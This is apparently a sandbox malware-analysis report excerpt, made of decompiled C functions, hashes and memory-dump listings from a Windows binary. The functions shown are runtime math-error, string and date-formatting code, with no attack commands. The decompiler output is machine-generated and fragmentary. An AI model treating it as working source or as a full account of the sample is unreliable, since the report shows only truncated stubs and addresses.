                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534B00() {

				goto 0xd2534a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4273532761
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b0008cb962dc613f469d6bab3d6e84203162cb9ad9b5dac8b73106cc6cfe59a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f6c8c908705bd5a44b43c0a14f251a2c2dd6ecda3cff5e8c9070fdd480db83da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b0008cb962dc613f469d6bab3d6e84203162cb9ad9b5dac8b73106cc6cfe59a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E3F04F2280CE4882D2119F18A4001EFA371FF8E799FA86326EB8D26524DF69D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534B10() {

				goto 0xd2534a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4283191376
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d9fe79e5d420b1364d547e9ca1a9d51b38dc84c4d623aab05ab48970c17eb5b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e36fdbb597727365b3e7a593d987920ec4babfe3e7e1e9062926172025434b44
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d9fe79e5d420b1364d547e9ca1a9d51b38dc84c4d623aab05ab48970c17eb5b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0DF04F2280CE4882D6119F1CA4001AFA371FF9E799FA85326EB8D26165DF69D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534AE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534AE0() {

				goto 0xd2534a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4064033741
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0121409c30f8109b4cc39a1622f91831bc571fdd130dd6823b419fb3e3b0803e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ddbf2890e494cf874cf0288379cfad7ed0f2bdc7d8a21e90ccd70828a61a0e66
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0121409c30f8109b4cc39a1622f91831bc571fdd130dd6823b419fb3e3b0803e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5AF04F2280CE4882D2119F18A4001AFA371FF8EB99FA85326EB8D26165DF69D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534AF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534AF0() {

				goto 0xd2534a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2187435201
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: fc4b6e6ff6d48bfc79642ba48f0099ab47fa3e1260e864bcfecc6b52a7c82744
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 72e7e526d227c0c3adcfabd1be72bb4aa9048c31dd934cf71142128922052c31
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fc4b6e6ff6d48bfc79642ba48f0099ab47fa3e1260e864bcfecc6b52a7c82744
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7EF04F2280CE4882D2119F18A4001AFA371FF8E799FA86326EB8D26164DF69D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534A71 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2713391170
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 155e98f34975b41ac0f7527dce2732cf3403be1d580cfaf86f6355501c2e7c71
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 562c38811179b5b3d05356052ceceb5284fb6531833cf1d6125c54fdae9d6ec6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 155e98f34975b41ac0f7527dce2732cf3403be1d580cfaf86f6355501c2e7c71
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2F06222808E8882D211DF18E4001ABB370FF4E799FA85326EF8D36225DF29D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2533890 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscatwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 468205783-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c67b0c90bb69f692be0ae836351eb1c317837325132f399f9d1a24227cd6bf98
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 27a3c523518e41e70e1075d675cdb0e35f7c8cb14a96941bfeaa4f9c70f20ecc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c67b0c90bb69f692be0ae836351eb1c317837325132f399f9d1a24227cd6bf98
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A921C822A1C78985EB21EF21E44476DB290BF59784FC89176EE4D47391EFBCD041C350
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535470 Relevance: 5.0, APIs: 4, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2535470(void* __ecx) {

				if ( *0xd272c0e8 != 0) goto 0xd2535490;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253547f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535488

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeavefree
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4020351045-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ad1c43f3616c9d27b0f0be14a299278e354b98e0ec87c31e85a0b372bb808bcd
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 0e60230004ef7ebfda8ccad93fcc9dcdb40db8c872a6b80a95cf8b640c5fd802
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ad1c43f3616c9d27b0f0be14a299278e354b98e0ec87c31e85a0b372bb808bcd
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DE115271B0D60A82EA68AF55D88093DA391EFAC761BD16076CA0F83250DFACF447C370
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Callgraph

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00321490 Relevance: 50.9, APIs: 6, Strings: 23, Instructions: 156timeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 110 321490-321522 111 321530-32154c FileTimeToLocalFileTime FileTimeToSystemTime 110->111 112 321524-32152e GetLocalTime 110->112 113 321552-321579 GetTimeZoneInformation 111->113 112->113 114 321584-32158c 113->114 115 32157b-321581 113->115 116 321599-32159e 114->116 117 32158e-321597 114->117 115->114 118 3215a4-3215b4 116->118 117->118 119 3215b6-3215bb 118->119 120 3215bf-3215c5 118->120 119->120 121 3215d0-3215d7 120->121 122 3215c7-3215cc 120->122 123 3215e2-3215e6 121->123 124 3215d9-3215de 121->124 122->121 125 3215e8-3215ec 123->125 126 321659-32165d 123->126 124->123 127 3215fa 125->127 128 3215ee-3215f8 125->128 129 32166b 126->129 130 32165f-321669 126->130 131 321604-321657 wsprintfA 127->131 128->131 132 321675-3216ce wsprintfA 129->132 130->132 133 3216d1-3216d4 131->133 132->133
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 90%
                                                                                                                                                                                                                                                                                                                                                      			E00321490(FILETIME* _a4, CHAR* _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				struct _SYSTEMTIME _v108;
				struct _TIME_ZONE_INFORMATION _v284;
				struct _FILETIME _v292;
				signed int _v296;
				intOrPtr _v300;
				CHAR* _v304;
				long _t105;
				signed int _t145;
				void* _t164;
				signed int _t170;

				_v84 = 0x32315c;
				_v80 = 0x323160;
				_v76 = 0x323164;
				_v72 = 0x323168;
				_v68 = 0x32316c;
				_v64 = 0x323170;
				_v60 = 0x323174;
				_v56 = 0x323178;
				_v52 = 0x32317c;
				_v48 = 0x323180;
				_v44 = 0x323184;
				_v40 = 0x323188;
				_v36 = 0x32318c;
				_v32 = 0x323190;
				_v28 = 0x323194;
				_v24 = 0x323198;
				_v20 = 0x32319c;
				_v16 = 0x3231a0;
				_v12 = 0x3231a4;
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v292);
					FileTimeToSystemTime( &_v292,  &_v108);
				} else {
					GetLocalTime( &_v108);
				}
				_v284.Bias = 0;
				_t105 = GetTimeZoneInformation( &_v284); // executed
				_v8 = _t105;
				_v92 = _v284.Bias;
				if(_v8 == 2) {
					_t145 = _v92 + _v284.DaylightBias;
					_t170 = _t145;
					_v92 = _t145;
				}
				_v92 =  ~_v92;
				if(_t170 < 0) {
					_v296 =  ~_v92;
				} else {
					_v296 = _v92;
				}
				_v88 = _v296;
				if((_v108.wDayOfWeek & 0x0000ffff) > 6) {
					_v108.wDayOfWeek = 6;
				}
				if((_v108.wMonth & 0x0000ffff) == 0) {
					_v108.wMonth = 1;
				}
				if((_v108.wMonth & 0x0000ffff) > 0xc) {
					_v108.wMonth = 0xc;
				}
				if(_a12 == 0) {
					if(_v92 < 0) {
						_v304 = "-";
					} else {
						_v304 = "+";
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t164 + (_v108.wDayOfWeek & 0x0000ffff) * 4 - 0x50)), _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v304, _v88 / 0x3c, _v88 % 0x3c);
				} else {
					if(_v92 < 0) {
						_v300 = 0x3231ac;
					} else {
						_v300 = 0x3231a8;
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u", _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v300, _v88 / 0x3c, _v88 % 0x3c);
				}
			}



































                                                                                                                                                                                                                                                                                                                                                      0x00321499
                                                                                                                                                                                                                                                                                                                                                      0x003214a0
                                                                                                                                                                                                                                                                                                                                                      0x003214a7
                                                                                                                                                                                                                                                                                                                                                      0x003214ae
                                                                                                                                                                                                                                                                                                                                                      0x003214b5
                                                                                                                                                                                                                                                                                                                                                      0x003214bc
                                                                                                                                                                                                                                                                                                                                                      0x003214c3
                                                                                                                                                                                                                                                                                                                                                      0x003214ca
                                                                                                                                                                                                                                                                                                                                                      0x003214d1
                                                                                                                                                                                                                                                                                                                                                      0x003214d8
                                                                                                                                                                                                                                                                                                                                                      0x003214df
                                                                                                                                                                                                                                                                                                                                                      0x003214e6
                                                                                                                                                                                                                                                                                                                                                      0x003214ed
                                                                                                                                                                                                                                                                                                                                                      0x003214f4
                                                                                                                                                                                                                                                                                                                                                      0x003214fb
                                                                                                                                                                                                                                                                                                                                                      0x00321502
                                                                                                                                                                                                                                                                                                                                                      0x00321509
                                                                                                                                                                                                                                                                                                                                                      0x00321510
                                                                                                                                                                                                                                                                                                                                                      0x00321517
                                                                                                                                                                                                                                                                                                                                                      0x00321522
                                                                                                                                                                                                                                                                                                                                                      0x0032153b
                                                                                                                                                                                                                                                                                                                                                      0x0032154c
                                                                                                                                                                                                                                                                                                                                                      0x00321524
                                                                                                                                                                                                                                                                                                                                                      0x00321528
                                                                                                                                                                                                                                                                                                                                                      0x00321528
                                                                                                                                                                                                                                                                                                                                                      0x00321552
                                                                                                                                                                                                                                                                                                                                                      0x00321563
                                                                                                                                                                                                                                                                                                                                                      0x00321569
                                                                                                                                                                                                                                                                                                                                                      0x00321572
                                                                                                                                                                                                                                                                                                                                                      0x00321579
                                                                                                                                                                                                                                                                                                                                                      0x0032157e
                                                                                                                                                                                                                                                                                                                                                      0x0032157e
                                                                                                                                                                                                                                                                                                                                                      0x00321581
                                                                                                                                                                                                                                                                                                                                                      0x00321581
                                                                                                                                                                                                                                                                                                                                                      0x00321589
                                                                                                                                                                                                                                                                                                                                                      0x0032158c
                                                                                                                                                                                                                                                                                                                                                      0x0032159e
                                                                                                                                                                                                                                                                                                                                                      0x0032158e
                                                                                                                                                                                                                                                                                                                                                      0x00321591
                                                                                                                                                                                                                                                                                                                                                      0x00321591
                                                                                                                                                                                                                                                                                                                                                      0x003215aa
                                                                                                                                                                                                                                                                                                                                                      0x003215b4
                                                                                                                                                                                                                                                                                                                                                      0x003215bb
                                                                                                                                                                                                                                                                                                                                                      0x003215bb
